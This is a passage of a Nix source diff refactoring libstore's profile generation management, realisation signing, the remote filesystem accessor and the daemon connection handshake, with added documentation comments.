profileDir = dirOf(profile); + std::filesystem::path profileDir = dirOf(profile); auto profileName = std::string(baseNameOf(profile)); - for (auto & i : readDirectory(profileDir)) { - if (auto n = parseName(profileName, i.name)) { - auto path = profileDir + "/" + i.name; + for (auto & i : std::filesystem::directory_iterator{profileDir}) { + checkInterrupt(); + if (auto n = parseName(profileName, i.path().filename().string())) { + auto path = i.path().string(); gens.push_back({ .number = *n, .path = path, @@ -61,15 +64,16 @@ std::pair> findGenerations(Path pro } -static void makeName(const Path & profile, GenerationNumber num, - Path & outLink) +/** + * Create a generation name that can be parsed by `parseName()`. + */ +static Path makeName(const Path & profile, GenerationNumber num) { - Path prefix = (format("%1%-%2%") % profile % num).str(); - outLink = prefix + "-link"; + return fmt("%s-%s-link", profile, num); } -Path createGeneration(ref store, Path profile, StorePath outPath) +Path createGeneration(LocalFSStore & store, Path profile, StorePath outPath) { /* The new generation number should be higher than old the previous ones. */ @@ -79,7 +83,7 @@ Path createGeneration(ref store, Path profile, StorePath outPath) if (gens.size() > 0) { Generation last = gens.back(); - if (readLink(last.path) == store->printStorePath(outPath)) { + if (readLink(last.path) == store.printStorePath(outPath)) { /* We only create a new generation symlink if it differs from the last one. @@ -89,7 +93,7 @@ Path createGeneration(ref store, Path profile, StorePath outPath) return last.path; } - num = gens.back().number; + num = last.number; } else { num = 0; } @@ -100,9 +104,8 @@ Path createGeneration(ref store, Path profile, StorePath outPath) to the permanent roots (of which the GC would have a stale view). If we didn't do it this way, the GC might remove the user environment etc. we've just built. */ - Path generation; - makeName(profile, num + 1, generation); - store->addPermRoot(outPath, generation); + Path generation = makeName(profile, num + 1); + store.addPermRoot(outPath, generation); return generation; } @@ -117,12 +120,19 @@ static void removeFile(const Path & path) void deleteGeneration(const Path & profile, GenerationNumber gen) { - Path generation; - makeName(profile, gen, generation); + Path generation = makeName(profile, gen); removeFile(generation); } - +/** + * Delete a generation with dry-run mode. + * + * Like `deleteGeneration()` but: + * + * - We log what we are going to do. + * + * - We only actually delete if `dryRun` is false. + */ static void deleteGeneration2(const Path & profile, GenerationNumber gen, bool dryRun) { if (dryRun) @@ -150,27 +160,36 @@ void deleteGenerations(const Path & profile, const std::set & } } +/** + * Advanced the iterator until the given predicate `cond` returns `true`. + */ +static inline void iterDropUntil(Generations & gens, auto && i, auto && cond) +{ + for (; i != gens.rend() && !cond(*i); ++i); +} + void deleteGenerationsGreaterThan(const Path & profile, GenerationNumber max, bool dryRun) { + if (max == 0) + throw Error("Must keep at least one generation, otherwise the current one would be deleted"); + PathLocks lock; lockProfile(lock, profile); - bool fromCurGen = false; - auto [gens, curGen] = findGenerations(profile); - for (auto i = gens.rbegin(); i != gens.rend(); ++i) { - if (i->number == curGen) { - fromCurGen = true; - max--; - continue; - } - if (fromCurGen) { - if (max) { - max--; - continue; - } - deleteGeneration2(profile, i->number, dryRun); - } - } + auto [gens, _curGen] = findGenerations(profile); + auto curGen = _curGen; + + auto i = gens.rbegin(); + + // Find the current generation + iterDropUntil(gens, i, [&](auto & g) { return g.number == curGen; }); + + // Skip over `max` generations, preserving them + for (GenerationNumber keep = 0; i != gens.rend() && keep < max; ++i, ++keep); + + // Delete the rest + for (; i != gens.rend(); ++i) + deleteGeneration2(profile, i->number, dryRun); } void deleteOldGenerations(const Path & profile, bool dryRun) @@ -193,23 +212,33 @@ void deleteGenerationsOlderThan(const Path & profile, time_t t, bool dryRun) auto [gens, curGen] = findGenerations(profile); - bool canDelete = false; - for (auto i = gens.rbegin(); i != gens.rend(); ++i) - if (canDelete) { - assert(i->creationTime < t); - if (i->number != curGen) - deleteGeneration2(profile, i->number, dryRun); - } else if (i->creationTime < t) { - /* We may now start deleting generations, but we don't - delete this generation yet, because this generation was - still the one that was active at the requested point in - time. */ - canDelete = true; - } + auto i = gens.rbegin(); + + // Predicate that the generation is older than the given time. + auto older = [&](auto & g) { return g.creationTime < t; }; + + // Find the first older generation, if one exists + iterDropUntil(gens, i, older); + + /* Take the previous generation + + We don't want delete this one yet because it + existed at the requested point in time, and + we want to be able to roll back to it. */ + if (i != gens.rend()) ++i; + + // Delete all previous generations (unless current). + for (; i != gens.rend(); ++i) { + /* Creating date and generations should be monotonic, so lower + numbered derivations should also be older. */ + assert(older(*i)); + if (i->number != curGen) + deleteGeneration2(profile, i->number, dryRun); + } } -void deleteGenerationsOlderThan(const Path & profile, std::string_view timeSpec, bool dryRun) +time_t parseOlderThanTimeSpec(std::string_view timeSpec) { if (timeSpec.empty() || timeSpec[timeSpec.size() - 1] != 'd') throw UsageError("invalid number of days specifier '%1%', expected something like '14d'", timeSpec); @@ -221,9 +250,7 @@ void deleteGenerationsOlderThan(const Path & profile, std::string_view timeSpec, if (!days || *days < 1) throw UsageError("invalid number of days specifier '%1%'", timeSpec); - time_t oldTime = curTime - *days * 24 * 3600; - - deleteGenerationsOlderThan(profile, oldTime, dryRun); + return curTime - *days * 24 * 3600; } @@ -269,7 +296,7 @@ void switchGeneration( void lockProfile(PathLocks & lock, const Path & profile) { - lock.lockPaths({profile}, (format("waiting for lock on profile '%1%'") % profile).str()); + lock.lockPaths({profile}, fmt("waiting for lock on profile '%1%'", profile)); lock.setDeletion(true); } @@ -280,22 +307,52 @@ std::string optimisticLockProfile(const Path & profile) } +Path profilesDir() +{ + auto profileRoot = + isRootUser() + ? rootProfilesDir() + : createNixStateDir() + "/profiles"; + createDirs(profileRoot); + return profileRoot; +} + +Path rootProfilesDir() +{ + return settings.nixStateDir + "/profiles/per-user/root"; +} + + Path getDefaultProfile() { - Path profileLink = getHome() + "/.nix-profile"; + Path profileLink = settings.useXDGBaseDirectories ? createNixStateDir() + "/profile" : getHome() + "/.nix-profile"; try { + auto profile = profilesDir() + "/profile"; if (!pathExists(profileLink)) { - replaceSymlink( - getuid() == 0 - ? settings.nixStateDir + "/profiles/default" - : fmt("%s/profiles/per-user/%s/profile", settings.nixStateDir, getUserName()), - profileLink); + replaceSymlink(profile, profileLink); + } + // Backwards compatibiliy measure: Make root's profile available as + // `.../default` as it's what NixOS and most of the init scripts expect + Path globalProfileLink = settings.nixStateDir + "/profiles/default"; + if (isRootUser() && !pathExists(globalProfileLink)) { + replaceSymlink(profile, globalProfileLink); } return absPath(readLink(profileLink), dirOf(profileLink)); } catch (Error &) { return profileLink; + } catch (std::filesystem::filesystem_error &) { + return profileLink; } } +Path defaultChannelsDir() +{ + return profilesDir() + "/channels"; +} + +Path rootChannelsDir() +{ + return rootProfilesDir() + "/channels"; +} } diff --git a/src/libstore/profiles.hh b/src/libstore/profiles.hh index 408ca039c..b10a72330 100644 --- a/src/libstore/profiles.hh +++ b/src/libstore/profiles.hh @@ -1,8 +1,14 @@ #pragma once +/** + * @file Implementation of Profiles. + * + * See the manual for additional information. + */ #include "types.hh" #include "pathlocks.hh" +#include #include @@ -11,65 +17,222 @@ namespace nix { class StorePath; +/** + * A positive number identifying a generation for a given profile. + * + * Generation numbers are assigned sequentially. Each new generation is + * assigned 1 + the current highest generation number. + */ typedef uint64_t GenerationNumber; +/** + * A generation is a revision of a profile. + * + * Each generation is a mapping (key-value pair) from an identifier + * (`number`) to a store object (specified by `path`). + */ struct Generation { + /** + * The number of a generation is its unique identifier within the + * profile. + */ GenerationNumber number; + /** + * The store path identifies the store object that is the contents + * of the generation. + * + * These store paths / objects are not unique to the generation + * within a profile. Nix tries to ensure successive generations have + * distinct contents to avoid bloat, but nothing stops two + * non-adjacent generations from having the same contents. + * + * @todo Use `StorePath` instead of `Path`? + */ Path path; + + /** + * When the generation was created. This is extra metadata about the + * generation used to make garbage collecting old generations more + * convenient. + */ time_t creationTime; }; +/** + * All the generations of a profile + */ typedef std::list Generations; -/* Returns the list of currently present generations for the specified - profile, sorted by generation number. Also returns the number of - the current generation. */ +/** + * Find all generations for the given profile. + * + * @param profile A profile specified by its name and location combined + * into a path. E.g. if "foo" is the name of the profile, and "/bar/baz" + * is the directory it is in, then the path "/bar/baz/foo" would be the + * argument for this parameter. + * + * @return The pair of: + * + * - The list of currently present generations for the specified profile, + * sorted by ascending generation number. + * + * - The number of the current/active generation. + * + * Note that the current/active generation need not be the latest one. + */ std::pair> findGenerations(Path profile); class LocalFSStore; -Path createGeneration(ref store, Path profile, StorePath outPath); +/** + * Create a new generation of the given profile + * + * If the previous generation (not the currently active one!) has a + * distinct store object, a fresh generation number is mapped to the + * given store object, referenced by path. Otherwise, the previous + * generation is assumed. + * + * The behavior of reusing existing generations like this makes this + * procedure idempotent. It also avoids clutter. + */ +Path createGeneration(LocalFSStore & store, Path profile, StorePath outPath); +/** + * Unconditionally delete a generation + * + * @param profile A profile specified by its name and location combined into a path. + * + * @param gen The generation number specifying exactly which generation + * to delete. + * + * Because there is no check of whether the generation to delete is + * active, this is somewhat unsafe. + * + * @todo Should we expose this at all? + */ void deleteGeneration(const Path & profile, GenerationNumber gen); +/** + * Delete the given set of generations. + * + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * + * @param gensToDelete The generations to delete, specified by a set of + * numbers. + * + * @param dryRun Log what would be deleted instead of actually doing + * so. + * + * Trying to delete the currently active generation will fail, and cause + * no generations to be deleted. + */ void deleteGenerations(const Path & profile, const std::set & gensToDelete, bool dryRun); +/** + * Delete generations older than `max` passed the current generation. + * + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * + * @param max How many generations to keep up to the current one. Must + * be at least 1 so we don't delete the current one. + * + * @param dryRun Log what would be deleted instead of actually doing + * so. + */ void deleteGenerationsGreaterThan(const Path & profile, GenerationNumber max, bool dryRun); +/** + * Delete all generations other than the current one + * + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * + * @param dryRun Log what would be deleted instead of actually doing + * so. + */ void deleteOldGenerations(const Path & profile, bool dryRun); +/** + * Delete generations older than `t`, except for the most recent one + * older than `t`. + * + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * + * @param dryRun Log what would be deleted instead of actually doing + * so. + */ void deleteGenerationsOlderThan(const Path & profile, time_t t, bool dryRun); -void deleteGenerationsOlderThan(const Path & profile, std::string_view timeSpec, bool dryRun); +/** + * Parse a temp spec intended for `deleteGenerationsOlderThan()`. + * + * Throws an exception if `timeSpec` fails to parse. + */ +time_t parseOlderThanTimeSpec(std::string_view timeSpec); +/** + * Smaller wrapper around `replaceSymlink` for replacing the current + * generation of a profile. Does not enforce proper structure. + * + * @todo Always use `switchGeneration()` instead, and delete this. + */ void switchLink(Path link, Path target); -/* Roll back a profile to the specified generation, or to the most - recent one older than the current. */ +/** + * Roll back a profile to the specified generation, or to the most + * recent one older than the current. + */ void switchGeneration( const Path & profile, std::optional dstGen, bool dryRun); -/* Ensure exclusive access to a profile. Any command that modifies - the profile first acquires this lock. */ +/** + * Ensure exclusive access to a profile. Any command that modifies + * the profile first acquires this lock. + */ void lockProfile(PathLocks & lock, const Path & profile); -/* Optimistic locking is used by long-running operations like `nix-env - -i'. Instead of acquiring the exclusive lock for the entire - duration of the operation, we just perform the operation - optimistically (without an exclusive lock), and check at the end - whether the profile changed while we were busy (i.e., the symlink - target changed). If so, the operation is restarted. Restarting is - generally cheap, since the build results are still in the Nix - store. Most of the time, only the user environment has to be - rebuilt. */ +/** + * Optimistic locking is used by long-running operations like `nix-env + * -i'. Instead of acquiring the exclusive lock for the entire + * duration of the operation, we just perform the operation + * optimistically (without an exclusive lock), and check at the end + * whether the profile changed while we were busy (i.e., the symlink + * target changed). If so, the operation is restarted. Restarting is + * generally cheap, since the build results are still in the Nix + * store. Most of the time, only the user environment has to be + * rebuilt. + */ std::string optimisticLockProfile(const Path & profile); -/* Resolve ~/.nix-profile. If ~/.nix-profile doesn't exist yet, create - it. */ +/** + * Create and return the path to a directory suitable for storing the user’s + * profiles. + */ +Path profilesDir(); + +/** + * Return the path to the profile directory for root (but don't try creating it) + */ +Path rootProfilesDir(); + +/** + * Create and return the path to the file used for storing the users's channels + */ +Path defaultChannelsDir(); + +/** + * Return the path to the channel directory for root (but don't try creating it) + */ +Path rootChannelsDir(); + +/** + * Resolve the default profile (~/.nix-profile by default, + * $XDG_STATE_HOME/nix/profile if XDG Base Directory Support is enabled), + * and create if doesn't exist + */ Path getDefaultProfile(); } diff --git a/src/libstore/realisation.cc b/src/libstore/realisation.cc index d63ec5ea2..86bfdd1a8 100644 --- a/src/libstore/realisation.cc +++ b/src/libstore/realisation.cc @@ -1,6 +1,7 @@ #include "realisation.hh" #include "store-api.hh" #include "closure.hh" +#include "signature/local-keys.hh" #include namespace nix { @@ -113,9 +114,9 @@ std::string Realisation::fingerprint() const return serialized.dump(); } -void Realisation::sign(const SecretKey & secretKey) +void Realisation::sign(const Signer &signer) { - signatures.insert(secretKey.signDetached(fingerprint())); + signatures.insert(signer.signDetached(fingerprint())); } bool Realisation::checkSignature(const PublicKeys & publicKeys, const std::string & sig) const @@ -136,6 +137,19 @@ size_t Realisation::checkSignatures(const PublicKeys & publicKeys) const return good; } + +SingleDrvOutputs filterDrvOutputs(const OutputsSpec& wanted, SingleDrvOutputs&& outputs) +{ + SingleDrvOutputs ret = std::move(outputs); + for (auto it = ret.begin(); it != ret.end(); ) { + if (!wanted.contains(it->first)) + it = ret.erase(it); + else + ++it; + } + return ret; +} + StorePath RealisedPath::path() const { return std::visit([](auto && arg) { return arg.getPath(); }, raw); } diff --git a/src/libstore/realisation.hh b/src/libstore/realisation.hh index 9070a6ee2..ddb4af770 100644 --- a/src/libstore/realisation.hh +++ b/src/libstore/realisation.hh @@ -1,21 +1,45 @@ #pragma once +///@file +#include + +#include "hash.hh" #include "path.hh" +#include "derived-path.hh" #include #include "comparator.hh" -#include "crypto.hh" +#include "signature/signer.hh" namespace nix { +class Store; +struct OutputsSpec; + +/** + * A general `Realisation` key. + * + * This is similar to a `DerivedPath::Opaque`, but the derivation is + * identified by its "hash modulo" instead of by its store path. + */ struct DrvOutput { - // The hash modulo of the derivation + /** + * The hash modulo of the derivation. + * + * Computed from the derivation itself for most types of + * derivations, but computed from the (fixed) content address of the + * output for fixed-output derivations. + */ Hash drvHash; - std::string outputName; + + /** + * The name of the output. + */ + OutputName outputName; std::string to_string() const; std::string strHash() const - { return drvHash.to_string(Base16, true); } + { return drvHash.to_string(HashFormat::Base16, true); } static DrvOutput parse(const std::string &); @@ -40,7 +64,7 @@ struct Realisation { static Realisation fromJSON(const nlohmann::json& json, const std::string& whence); std::string fingerprint() const; - void sign(const SecretKey &); + void sign(const Signer &); bool checkSignature(const PublicKeys & publicKeys, const std::string & sig) const; size_t checkSignatures(const PublicKeys & publicKeys) const; @@ -54,8 +78,31 @@ struct Realisation { GENERATE_CMP(Realisation, me->id, me->outPath); }; +/** + * Collection type for a single derivation's outputs' `Realisation`s. + * + * Since these are the outputs of a single derivation, we know the + * output names are unique so we can use them as the map key. + */ +typedef std::map SingleDrvOutputs; + +/** + * Collection type for multiple derivations' outputs' `Realisation`s. + * + * `DrvOutput` is used because in general the derivations are not all + * the same, so we need to identify firstly which derivation, and + * secondly which output of that derivation. + */ typedef std::map DrvOutputs; +/** + * Filter a SingleDrvOutputs to include only specific output names + * + * Moves the `outputs` input. + */ +SingleDrvOutputs filterDrvOutputs(const OutputsSpec&, SingleDrvOutputs&&); + + struct OpaquePath { StorePath path; @@ -93,4 +140,18 @@ struct RealisedPath { GENERATE_CMP(RealisedPath, me->raw); }; +class MissingRealisation : public Error +{ +public: + MissingRealisation(DrvOutput & outputId) + : MissingRealisation(outputId.outputName, outputId.strHash()) + {} + MissingRealisation(std::string_view drv, OutputName outputName) + : Error( "cannot operate on output '%s' of the " + "unbuilt derivation '%s'", + outputName, + drv) + {} +}; + } diff --git a/src/libstore/remote-fs-accessor.cc b/src/libstore/remote-fs-accessor.cc index fcfb527f5..20f1d826c 100644 --- a/src/libstore/remote-fs-accessor.cc +++ b/src/libstore/remote-fs-accessor.cc @@ -8,8 +8,9 @@ namespace nix { -RemoteFSAccessor::RemoteFSAccessor(ref store, const Path & cacheDir) +RemoteFSAccessor::RemoteFSAccessor(ref store, bool requireValidPath, const Path & cacheDir) : store(store) + , requireValidPath(requireValidPath) , cacheDir(cacheDir) { if (cacheDir != "") @@ -22,7 +23,7 @@ Path RemoteFSAccessor::makeCacheFile(std::string_view hashPart, const std::strin return fmt("%s/%s.%s", cacheDir, hashPart, ext); } -ref RemoteFSAccessor::addToCache(std::string_view hashPart, std::string && nar) +ref RemoteFSAccessor::addToCache(std::string_view hashPart, std::string && nar) { if (cacheDir != "") { try { @@ -38,7 +39,7 @@ ref RemoteFSAccessor::addToCache(std::string_view hashPart, std::str if (cacheDir != "") { try { - nlohmann::json j = listNar(narAccessor, "", true); + nlohmann::json j = listNar(narAccessor, CanonPath::root, true); writeFile(makeCacheFile(hashPart, "ls"), j.dump()); } catch (...) { ignoreException(); @@ -48,11 +49,10 @@ ref RemoteFSAccessor::addToCache(std::string_view hashPart, std::str return narAccessor; } -std::pair, Path> RemoteFSAccessor::fetch(const Path & path_, bool requireValidPath) +std::pair, CanonPath> RemoteFSAccessor::fetch(const CanonPath & path) { - auto path = canonPath(path_); - - auto [storePath, restPath] = store->toStorePath(path); + auto [storePath, restPath_] = store->toStorePath(path.abs()); + auto restPath = CanonPath(restPath_); if (requireValidPath && !store->isValidPath(storePath)) throw InvalidPath("path '%1%' is not a valid store path", store->printStorePath(storePath)); @@ -63,7 +63,7 @@ std::pair, Path> RemoteFSAccessor::fetch(const Path & path_, boo std::string listing; Path cacheFile; - if (cacheDir != "" && pathExists(cacheFile = makeCacheFile(storePath.hashPart(), "nar"))) { + if (cacheDir != "" && nix::pathExists(cacheFile = makeCacheFile(storePath.hashPart(), "nar"))) { try { listing = nix::readFile(makeCacheFile(storePath.hashPart(), "ls")); @@ -71,11 +71,15 @@ std::pair, Path> RemoteFSAccessor::fetch(const Path & path_, boo auto narAccessor = makeLazyNarAccessor(listing, [cacheFile](uint64_t offset, uint64_t length) { - AutoCloseFD fd = open(cacheFile.c_str(), O_RDONLY | O_CLOEXEC); + AutoCloseFD fd = toDescriptor(open(cacheFile.c_str(), O_RDONLY + #ifndef _WIN32 + | O_CLOEXEC + #endif + )); if (!fd) throw SysError("opening NAR cache file '%s'", cacheFile); - if (lseek(fd.get(), offset, SEEK_SET) != (off_t) offset) + if (lseek(fromDescriptorReadOnly(fd.get()), offset, SEEK_SET) != (off_t) offset) throw SysError("seeking in '%s'", cacheFile); std::string buf(length, 0); @@ -87,13 +91,13 @@ std::pair, Path> RemoteFSAccessor::fetch(const Path & path_, boo nars.emplace(storePath.hashPart(), narAccessor); return {narAccessor, restPath}; - } catch (SysError &) { } + } catch (SystemError &) { } try { auto narAccessor = makeNarAccessor(nix::readFile(cacheFile)); nars.emplace(storePath.hashPart(), narAccessor); return {narAccessor, restPath}; - } catch (SysError &) { } + } catch (SystemError &) { } } StringSink sink; @@ -101,25 +105,25 @@ std::pair, Path> RemoteFSAccessor::fetch(const Path & path_, boo return {addToCache(storePath.hashPart(), std::move(sink.s)), restPath}; } -FSAccessor::Stat RemoteFSAccessor::stat(const Path & path) +std::optional RemoteFSAccessor::maybeLstat(const CanonPath & path) { auto res = fetch(path); - return res.first->stat(res.second); + return res.first->maybeLstat(res.second); } -StringSet RemoteFSAccessor::readDirectory(const Path & path) +SourceAccessor::DirEntries RemoteFSAccessor::readDirectory(const CanonPath & path) { auto res = fetch(path); return res.first->readDirectory(res.second); } -std::string RemoteFSAccessor::readFile(const Path & path, bool requireValidPath) +std::string RemoteFSAccessor::readFile(const CanonPath & path) { - auto res = fetch(path, requireValidPath); + auto res = fetch(path); return res.first->readFile(res.second); } -std::string RemoteFSAccessor::readLink(const Path & path) +std::string RemoteFSAccessor::readLink(const CanonPath & path) { auto res = fetch(path); return res.first->readLink(res.second); diff --git a/src/libstore/remote-fs-accessor.hh b/src/libstore/remote-fs-accessor.hh index 99f5544ef..d09762a53 100644 --- a/src/libstore/remote-fs-accessor.hh +++ b/src/libstore/remote-fs-accessor.hh @@ -1,39 +1,43 @@ #pragma once +///@file -#include "fs-accessor.hh" +#include "source-accessor.hh" #include "ref.hh" #include "store-api.hh" namespace nix { -class RemoteFSAccessor : public FSAccessor +class RemoteFSAccessor : public SourceAccessor { ref store; - std::map> nars; + std::map> nars; + + bool requireValidPath; Path cacheDir; - std::pair, Path> fetch(const Path & path_, bool requireValidPath = true); + std::pair, CanonPath> fetch(const CanonPath & path); friend class BinaryCacheStore; Path makeCacheFile(std::string_view hashPart, const std::string & ext); - ref addToCache(std::string_view hashPart, std::string && nar); + ref addToCache(std::string_view hashPart, std::string && nar); public: RemoteFSAccessor(ref store, + bool requireValidPath = true, const /* FIXME: use std::optional */ Path & cacheDir = ""); - Stat stat(const Path & path) override; + std::optional maybeLstat(const CanonPath & path) override; - StringSet readDirectory(const Path & path) override; + DirEntries readDirectory(const CanonPath & path) override; - std::string readFile(const Path & path, bool requireValidPath = true) override; + std::string readFile(const CanonPath & path) override; - std::string readLink(const Path & path) override; + std::string readLink(const CanonPath & path) override; }; } diff --git a/src/libstore/remote-store-connection.hh b/src/libstore/remote-store-connection.hh new file mode 100644 index 000000000..405120ee9 --- /dev/null +++ b/src/libstore/remote-store-connection.hh @@ -0,0 +1,57 @@ +#pragma once +///@file + +#include "remote-store.hh" +#include "worker-protocol.hh" +#include "worker-protocol-connection.hh" +#include "pool.hh" + +namespace nix { + +/** + * Bidirectional connection (send and receive) used by the Remote Store + * implementation. + * + * Contains `Source` and `Sink` for actual communication, along with + * other information learned when negotiating the connection. + */ +struct RemoteStore::Connection : WorkerProto::BasicClientConnection, + WorkerProto::ClientHandshakeInfo +{ + /** + * Time this connection was established. + */ + std::chrono::time_point startTime; +}; + +/** + * A wrapper around Pool::Handle that marks + * the connection as bad (causing it to be closed) if a non-daemon + * exception is thrown before the handle is closed. Such an exception + * causes a deviation from the expected protocol and therefore a + * desynchronization between the client and daemon. + */ +struct RemoteStore::ConnectionHandle +{ + Pool::Handle handle; + bool daemonException = false; + + ConnectionHandle(Pool::Handle && handle) + : handle(std::move(handle)) + { } + + ConnectionHandle(ConnectionHandle && h) + : handle(std::move(h.handle)) + { } + + ~ConnectionHandle(); + + RemoteStore::Connection & operator * () { return *handle; } + RemoteStore::Connection * operator -> () { return &*handle; } + + void processStderr(Sink * sink = 0, Source * source = 0, bool flush = true); + + void withFramedSink(std::function fun); +}; + +} diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 48cf731a8..555936c18 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -5,147 +5,25 @@ #include "remote-fs-accessor.hh" #include "build-result.hh" #include "remote-store.hh" +#include "remote-store-connection.hh" #include "worker-protocol.hh" +#include "worker-protocol-impl.hh" #include "archive.hh" #include "globals.hh" #include "derivations.hh" #include "pool.hh" #include "finally.hh" +#include "git.hh" #include "logging.hh" #include "callback.hh" #include "filetransfer.hh" +#include "signals.hh" + #include namespace nix { -namespace worker_proto { - -std::string read(const Store & store, Source & from, Phantom _) -{ - return readString(from); -} - -void write(const Store & store, Sink & out, const std::string & str) -{ - out << str; -} - - -StorePath read(const Store & store, Source & from, Phantom _) -{ - return store.parseStorePath(readString(from)); -} - -void write(const Store & store, Sink & out, const StorePath & storePath) -{ - out << store.printStorePath(storePath); -} - - -ContentAddress read(const Store & store, Source & from, Phantom _) -{ - return parseContentAddress(readString(from)); -} - -void write(const Store & store, Sink & out, const ContentAddress & ca) -{ - out << renderContentAddress(ca); -} - - -DerivedPath read(const Store & store, Source & from, Phantom _) -{ - auto s = readString(from); - return DerivedPath::parse(store, s); -} - -void write(const Store & store, Sink & out, const DerivedPath & req) -{ - out << req.to_string(store); -} - - -Realisation read(const Store & store, Source & from, Phantom _) -{ - std::string rawInput = readString(from); - return Realisation::fromJSON( - nlohmann::json::parse(rawInput), - "remote-protocol" - ); -} - -void write(const Store & store, Sink & out, const Realisation & realisation) -{ - out << realisation.toJSON().dump(); -} - - -DrvOutput read(const Store & store, Source & from, Phantom _) -{ - return DrvOutput::parse(readString(from)); -} - -void write(const Store & store, Sink & out, const DrvOutput & drvOutput) -{ - out << drvOutput.to_string(); -} - - -BuildResult read(const Store & store, Source & from, Phantom _) -{ - auto path = worker_proto::read(store, from, Phantom {}); - BuildResult res { .path = path }; - res.status = (BuildResult::Status) readInt(from); - from - >> res.errorMsg - >> res.timesBuilt - >> res.isNonDeterministic - >> res.startTime - >> res.stopTime; - res.builtOutputs = worker_proto::read(store, from, Phantom {}); - return res; -} - -void write(const Store & store, Sink & to, const BuildResult & res) -{ - worker_proto::write(store, to, res.path); - to - << res.status - << res.errorMsg - << res.timesBuilt - << res.isNonDeterministic - << res.startTime - << res.stopTime; - worker_proto::write(store, to, res.builtOutputs); -} - - -std::optional read(const Store & store, Source & from, Phantom> _) -{ - auto s = readString(from); - return s == "" ? std::optional {} : store.parseStorePath(s); -} - -void write(const Store & store, Sink & out, const std::optional & storePathOpt) -{ - out << (storePathOpt ? store.printStorePath(*storePathOpt) : ""); -} - - -std::optional read(const Store & store, Source & from, Phantom> _) -{ - return parseContentAddressOpt(readString(from)); -} - -void write(const Store & store, Sink & out, const std::optional & caOpt) -{ - out << (caOpt ? renderContentAddress(*caOpt) : ""); -} - -} - - -/* TODO: Separate these store impls into different files, give them better names */ +/* TODO: Separate these store types into different files, give them better names */ RemoteStore::RemoteStore(const Params & params) : RemoteStoreConfig(params) , Store(params) @@ -190,43 +68,33 @@ void RemoteStore::initConnection(Connection & conn) { /* Send the magic greeting, check for the reply. */ try { - conn.to << WORKER_MAGIC_1; - conn.to.flush(); + conn.from.endOfFileError = "Nix daemon disconnected unexpectedly (maybe it crashed?)"; + StringSink saved; + TeeSource tee(conn.from, saved); try { - TeeSource tee(conn.from, saved); - unsigned int magic = readInt(tee); - if (magic != WORKER_MAGIC_2) - throw Error("protocol mismatch"); + auto [protoVersion, features] = WorkerProto::BasicClientConnection::handshake( + conn.to, tee, PROTOCOL_VERSION, + WorkerProto::allFeatures); + conn.protoVersion = protoVersion; + conn.features = features; } catch (SerialisationError & e) { /* In case the other side is waiting for our input, close it. */ conn.closeWrite(); - auto msg = conn.from.drain(); - throw Error("protocol mismatch, got '%s'", chomp(saved.s + msg)); + { + NullSink nullSink; + tee.drainInto(nullSink); + } + throw Error("protocol mismatch, got '%s'", chomp(saved.s)); } - conn.from >> conn.daemonVersion; - if (GET_PROTOCOL_MAJOR(conn.daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION)) - throw Error("Nix daemon protocol version not supported"); - if (GET_PROTOCOL_MINOR(conn.daemonVersion) < 10) - throw Error("the Nix daemon version is too old"); - conn.to << PROTOCOL_VERSION; + static_cast(conn) = conn.postHandshake(*this); - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 14) { - // Obsolete CPU affinity. - conn.to << 0; - } + for (auto & feature : conn.features) + debug("negotiated feature '%s'", feature); - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 11) - conn.to << false; // obsolete reserveSpace - - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 33) { - conn.to.flush(); - conn.daemonNixVersion = readString(conn.from); - } - - auto ex = conn.processStderr(); + auto ex = conn.processStderrReturn(); if (ex) std::rethrow_exception(ex); } catch (Error & e) { @@ -239,7 +107,7 @@ void RemoteStore::initConnection(Connection & conn) void RemoteStore::setOptions(Connection & conn) { - conn.to << wopSetOptions + conn.to << WorkerProto::Op::SetOptions << settings.keepFailed << settings.keepGoing << settings.tryFallback @@ -253,7 +121,7 @@ void RemoteStore::setOptions(Connection & conn) << settings.buildCores << settings.useSubstitutes; - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 12) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 12) { std::map overrides; settings.getSettings(overrides, true); // libstore settings fileTransferSettings.getSettings(overrides, true); @@ -265,59 +133,33 @@ void RemoteStore::setOptions(Connection & conn) overrides.erase(settings.buildCores.name); overrides.erase(settings.useSubstitutes.name); overrides.erase(loggerSettings.showTrace.name); - overrides.erase(settings.experimentalFeatures.name); + overrides.erase(experimentalFeatureSettings.experimentalFeatures.name); + overrides.erase("plugin-files"); conn.to << overrides.size(); for (auto & i : overrides) conn.to << i.first << i.second.value; } - auto ex = conn.processStderr(); + auto ex = conn.processStderrReturn(); if (ex) std::rethrow_exception(ex); } -/* A wrapper around Pool::Handle that marks - the connection as bad (causing it to be closed) if a non-daemon - exception is thrown before the handle is closed. Such an exception - causes a deviation from the expected protocol and therefore a - desynchronization between the client and daemon. */ -struct ConnectionHandle +RemoteStore::ConnectionHandle::~ConnectionHandle() { - Pool::Handle handle; - bool daemonException = false; - - ConnectionHandle(Pool::Handle && handle) - : handle(std::move(handle)) - { } - - ConnectionHandle(ConnectionHandle && h) - : handle(std::move(h.handle)) - { } - - ~ConnectionHandle() - { - if (!daemonException && std::uncaught_exceptions()) { - handle.markBad(); - debug("closing daemon connection because of an exception"); - } + if (!daemonException && std::uncaught_exceptions()) { + handle.markBad(); + debug("closing daemon connection because of an exception"); } +} - RemoteStore::Connection * operator -> () { return &*handle; } - - void processStderr(Sink * sink = 0, Source * source = 0, bool flush = true) - { - auto ex = handle->processStderr(sink, source, flush); - if (ex) { - daemonException = true; - std::rethrow_exception(ex); - } - } - - void withFramedSink(std::function fun); -}; +void RemoteStore::ConnectionHandle::processStderr(Sink * sink, Source * source, bool flush) +{ + handle->processStderr(&daemonException, sink, source, flush); +} -ConnectionHandle RemoteStore::getConnection() +RemoteStore::ConnectionHandle RemoteStore::getConnection() { return ConnectionHandle(connections->get()); } @@ -330,7 +172,7 @@ void RemoteStore::setOptions() bool RemoteStore::isValidPathUncached(const StorePath & path) { auto conn(getConnection()); - conn->to << wopIsValidPath << 